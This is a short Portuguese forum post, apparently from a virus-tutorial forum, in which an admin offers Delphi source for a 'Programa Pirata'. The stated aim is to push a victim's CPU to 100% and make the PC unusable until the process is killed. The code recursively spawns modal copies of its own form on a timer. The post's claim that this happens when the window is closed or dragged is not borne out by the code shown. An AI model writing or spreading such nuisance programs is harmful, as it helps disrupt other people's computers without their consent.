Fórum­Portal­Registrar-se­Login
Compartilhe | 
 

 Programa Pirata

Ver o tópico anterior Ver o tópico seguinte Ir em baixo 
AutorMensagem
Admin
Admin


Número de Mensagens: 63
Data de inscrição: 01/08/2008

MensagemAssunto: Programa Pirata   Dom Ago 03, 2008 3:29 am

Esse Programa Pirata aumenta o processo incrivelmente toda vez que o usuário tenta fecha-lo ou arrasta-lo,fazendo com o desempenho do Windows pule de 4% para 100%,deixando assim o computador ocioso.
A unica saída para o usuário é finalizar o programa Pirata.exe,porque senão ele ficará irritado com a ociosidade do PC.


Código:
unit Upirata;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, ComCtrls, StdCtrls;

type
TForm6 = class(TForm)
ProgressBar1: TProgressBar;
Timer1: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form6: TForm6;

implementation

{$R *.dfm}

procedure TForm6.Timer1Timer(Sender: TObject);
begin
ProgressBar1.Position:=ProgressBar1.Position+100;
if ProgressBar1.Position=100 Then
begin
Application.CreateForm (TForm6,Form6);
Form6.ShowModal;


end;

end;

end.
Voltar ao Topo Ir em baixo
Ver perfil do usuário http://skynet-virus.forumaqui.com
 

Programa Pirata

Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo 
Página 1 de 1

Permissão deste fórum:Você não pode responder aos tópicos neste fórum
-=|ŠkyÑë†-V¡®u§|=-™ :: TUTORIAIS WORMS-